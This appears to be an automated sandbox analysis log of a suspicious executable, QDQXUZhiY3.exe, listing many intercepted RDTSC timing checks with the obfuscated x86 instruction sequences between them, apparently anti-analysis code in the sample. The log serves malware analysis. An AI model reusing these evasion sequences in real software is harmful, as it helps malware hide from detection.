Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 15A57AB second address: 15A57F3 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 add dword ptr [esp], 27E8B86Ah 0x0000000f mov ecx, 4510EB78h 0x00000014 push 00000003h 0x00000016 jmp 00007F63F87E5460h 0x0000001b push 00000000h 0x0000001d mov esi, dword ptr [ebp+122D3989h] 0x00000023 push 00000003h 0x00000025 mov dword ptr [ebp+122D1839h], edi 0x0000002b mov cx, DDD0h 0x0000002f push D390B230h 0x00000034 push edi 0x00000035 js 00007F63F87E545Ch 0x0000003b push eax 0x0000003c push edx 0x0000003d rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 15A58DC second address: 15A58F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F63F87E3383h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 15A58F4 second address: 15A5915 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F63F87E545Dh 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov dword ptr [esp+04h], eax 0x00000011 pushad 0x00000012 push esi 0x00000013 push edx 0x00000014 pop edx 0x00000015 pop esi 0x00000016 push eax 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 15A5915 second address: 15A5988 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 popad 0x00000006 pop eax 0x00000007 or dword ptr [ebp+122D1C5Dh], eax 0x0000000d push 00000003h 0x0000000f jmp 00007F63F87E337Bh 0x00000014 js 00007F63F87E337Ah 0x0000001a push 00000000h 0x0000001c push 00000000h 0x0000001e push edi 0x0000001f call 00007F63F87E3378h 0x00000024 pop edi 0x00000025 mov dword ptr [esp+04h], edi 0x00000029 add dword ptr [esp+04h], 00000016h 0x00000031 inc edi 0x00000032 push edi 0x00000033 ret 0x00000034 pop edi 0x00000035 ret 0x00000036 push 00000003h 0x00000038 mov ch, F1h 0x0000003a call 00007F63F87E3379h 0x0000003f jmp 00007F63F87E337Eh 0x00000044 push eax 0x00000045 push edx 0x00000046 push edx 0x00000047 jns 00007F63F87E3376h 0x0000004d pop edx 0x0000004e pop edx 0x0000004f mov eax, dword ptr [esp+04h] 0x00000053 push eax 0x00000054 push edx 0x00000055 pushad 0x00000056 push eax 0x00000057 push edx 0x00000058 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 15A5988 second address: 15A5993 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F63F87E5456h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 15A5993 second address: 15A59C5 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [eax] 0x0000000a jns 00007F63F87E338Ch 0x00000010 mov dword ptr [esp+04h], eax 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 push edi 0x00000018 pop edi 0x00000019 push esi 0x0000001a pop esi 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 15A59C5 second address: 15A59CA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 15A59CA second address: 15A5A16 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F63F87E337Fh 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop eax 0x0000000d mov cl, 44h 0x0000000f lea ebx, dword ptr [ebp+124534CCh] 0x00000015 mov edi, 66A46DD6h 0x0000001a xchg eax, ebx 0x0000001b jmp 00007F63F87E3386h 0x00000020 push eax 0x00000021 push eax 0x00000022 push edx 0x00000023 pushad 0x00000024 jo 00007F63F87E3376h 0x0000002a jg 00007F63F87E3376h 0x00000030 popad 0x00000031 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 1594FA3 second address: 1594FB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 pushad 0x00000009 popad 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c push esi 0x0000000d pop esi 0x0000000e popad 0x0000000f push esi 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 1594FB5 second address: 1594FBB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 1594FBB second address: 1594FD9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c jmp 00007F63F87E5462h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 1594FD9 second address: 1594FF8 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F63F87E3376h 0x00000008 jmp 00007F63F87E3385h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 15C5671 second address: 15C5684 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jg 00007F63F87E5456h 0x00000009 push edx 0x0000000a pop edx 0x0000000b pop edi 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push esi 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 15C5684 second address: 15C568A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 15C568A second address: 15C568F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 15C5937 second address: 15C594F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F63F87E3383h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 15C5C1E second address: 15C5C5F instructions: 0x00000000 rdtsc 0x00000002 jg 00007F63F87E5456h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a ja 00007F63F87E545Eh 0x00000010 ja 00007F63F87E545Ah 0x00000016 jmp 00007F63F87E545Fh 0x0000001b popad 0x0000001c pushad 0x0000001d push eax 0x0000001e push edx 0x0000001f jng 00007F63F87E5456h 0x00000025 jg 00007F63F87E5456h 0x0000002b rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 15C634B second address: 15C6350 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 15C662C second address: 15C6632 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 15C6632 second address: 15C6637 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 15C6785 second address: 15C6796 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a jl 00007F63F87E5456h 0x00000010 pop edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 15C6796 second address: 15C67A9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F63F87E337Fh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 15C67A9 second address: 15C67B3 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F63F87E5456h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 15C67B3 second address: 15C67BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 15C692E second address: 15C694B instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007F63F87E545Fh 0x00000008 pop edx 0x00000009 push eax 0x0000000a push edx 0x0000000b jns 00007F63F87E5456h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 15C694B second address: 15C694F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 15C694F second address: 15C6953 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 15C6FF6 second address: 15C7004 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jo 00007F63F87E3376h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 15C7004 second address: 15C7008 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 15C7008 second address: 15C7020 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F63F87E3382h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 15C7020 second address: 15C7026 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 15C71CB second address: 15C71E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F63F87E3380h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 15C74E8 second address: 15C7542 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F63F87E5456h 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c popad 0x0000000d pushad 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 ja 00007F63F87E5456h 0x00000016 jmp 00007F63F87E5467h 0x0000001b pushad 0x0000001c popad 0x0000001d popad 0x0000001e jnc 00007F63F87E545Eh 0x00000024 popad 0x00000025 push eax 0x00000026 push edx 0x00000027 jmp 00007F63F87E5469h 0x0000002c rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 15C9E12 second address: 15C9E1B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 1596C13 second address: 1596C17 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 15D1747 second address: 15D174D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 15D174D second address: 15D176D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F63F87E545Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F63F87E545Dh 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 15D1E2F second address: 15D1E34 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 15D1E34 second address: 15D1E39 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 15D1E39 second address: 15D1E64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F63F87E3376h 0x0000000a jo 00007F63F87E3376h 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F63F87E3388h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 15D1E64 second address: 15D1E77 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jp 00007F63F87E5456h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 15D1E77 second address: 15D1E7F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 15D1E7F second address: 15D1E9A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F63F87E5466h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 15D1E9A second address: 15D1EA4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007F63F87E3376h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 15D1EA4 second address: 15D1EA8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 15D4E75 second address: 15D4E80 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 15D5500 second address: 15D5506 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 15D5506 second address: 15D550A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 15D5691 second address: 15D5695 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 15D5B58 second address: 15D5B6E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jnl 00007F63F87E337Ch 0x00000010 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 15D5F9F second address: 15D5FAE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F63F87E545Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 15D6139 second address: 15D615E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F63F87E3383h 0x0000000b popad 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jo 00007F63F87E3378h 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 15D61FA second address: 15D61FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 15D61FE second address: 15D6203 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 15D6203 second address: 15D6245 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp], eax 0x0000000a jmp 00007F63F87E5466h 0x0000000f xchg eax, ebx 0x00000010 jmp 00007F63F87E5465h 0x00000015 push eax 0x00000016 ja 00007F63F87E5460h 0x0000001c pushad 0x0000001d push ecx 0x0000001e pop ecx 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 15D6705 second address: 15D6709 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 15D6709 second address: 15D6713 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edx 0x00000009 pop edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 15D6713 second address: 15D67AD instructions: 0x00000000 rdtsc 0x00000002 jo 00007F63F87E3376h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c jnp 00007F63F87E337Eh 0x00000012 nop 0x00000013 push 00000000h 0x00000015 push eax 0x00000016 call 00007F63F87E3378h 0x0000001b pop eax 0x0000001c mov dword ptr [esp+04h], eax 0x00000020 add dword ptr [esp+04h], 0000001Dh 0x00000028 inc eax 0x00000029 push eax 0x0000002a ret 0x0000002b pop eax 0x0000002c ret 0x0000002d xor dword ptr [ebp+122D18BFh], edx 0x00000033 push 00000000h 0x00000035 push 00000000h 0x00000037 push ebp 0x00000038 call 00007F63F87E3378h 0x0000003d pop ebp 0x0000003e mov dword ptr [esp+04h], ebp 0x00000042 add dword ptr [esp+04h], 0000001Bh 0x0000004a inc ebp 0x0000004b push ebp 0x0000004c ret 0x0000004d pop ebp 0x0000004e ret 0x0000004f mov dword ptr [ebp+1245497Fh], edi 0x00000055 movzx edi, cx 0x00000058 push 00000000h 0x0000005a jmp 00007F63F87E3389h 0x0000005f xchg eax, ebx 0x00000060 jl 00007F63F87E3388h 0x00000066 push eax 0x00000067 push edx 0x00000068 push eax 0x00000069 push edx 0x0000006a rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 15D67AD second address: 15D67B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 15D72E6 second address: 15D72F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 15D7092 second address: 15D7098 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 15D72F3 second address: 15D7301 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F63F87E337Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 15D7098 second address: 15D709C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 15D709C second address: 15D70A0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 15D70A0 second address: 15D70C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F63F87E5468h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 15D70C4 second address: 15D70E0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F63F87E3383h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 15DA563 second address: 15DA567 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 15DA567 second address: 15DA5C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push edi 0x0000000b call 00007F63F87E3378h 0x00000010 pop edi 0x00000011 mov dword ptr [esp+04h], edi 0x00000015 add dword ptr [esp+04h], 00000019h 0x0000001d inc edi 0x0000001e push edi 0x0000001f ret 0x00000020 pop edi 0x00000021 ret 0x00000022 xor edi, dword ptr [ebp+12478D2Fh] 0x00000028 push 00000000h 0x0000002a push 00000000h 0x0000002c push ebx 0x0000002d call 00007F63F87E3378h 0x00000032 pop ebx 0x00000033 mov dword ptr [esp+04h], ebx 0x00000037 add dword ptr [esp+04h], 00000019h 0x0000003f inc ebx 0x00000040 push ebx 0x00000041 ret 0x00000042 pop ebx 0x00000043 ret 0x00000044 cld 0x00000045 push 00000000h 0x00000047 je 00007F63F87E3376h 0x0000004d xchg eax, ebx 0x0000004e push eax 0x0000004f push edx 0x00000050 push eax 0x00000051 push edx 0x00000052 pushad 0x00000053 popad 0x00000054 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 15DA33C second address: 15DA341 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 15DA5C9 second address: 15DA5CF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 15DA5CF second address: 15DA5F6 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F63F87E5468h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d je 00007F63F87E5458h 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 15DA341 second address: 15DA354 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jg 00007F63F87E3380h 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 15DA5F6 second address: 15DA5FB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 15DB01E second address: 15DB02E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F63F87E337Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 15DB955 second address: 15DB9C1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 jmp 00007F63F87E545Dh 0x0000000d nop 0x0000000e jmp 00007F63F87E5461h 0x00000013 push 00000000h 0x00000015 push 00000000h 0x00000017 push ebp 0x00000018 call 00007F63F87E5458h 0x0000001d pop ebp 0x0000001e mov dword ptr [esp+04h], ebp 0x00000022 add dword ptr [esp+04h], 00000018h 0x0000002a inc ebp 0x0000002b push ebp 0x0000002c ret 0x0000002d pop ebp 0x0000002e ret 0x0000002f push 00000000h 0x00000031 jmp 00007F63F87E5466h 0x00000036 mov dword ptr [ebp+122D1A6Ch], eax 0x0000003c xchg eax, ebx 0x0000003d pushad 0x0000003e push edx 0x0000003f push eax 0x00000040 push edx 0x00000041 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 15DB6D7 second address: 15DB6E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 pushad 0x00000007 pushad 0x00000008 push edx 0x00000009 pop edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 15DB6E3 second address: 15DB6F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007F63F87E545Dh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 15DC4F6 second address: 15DC4FA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
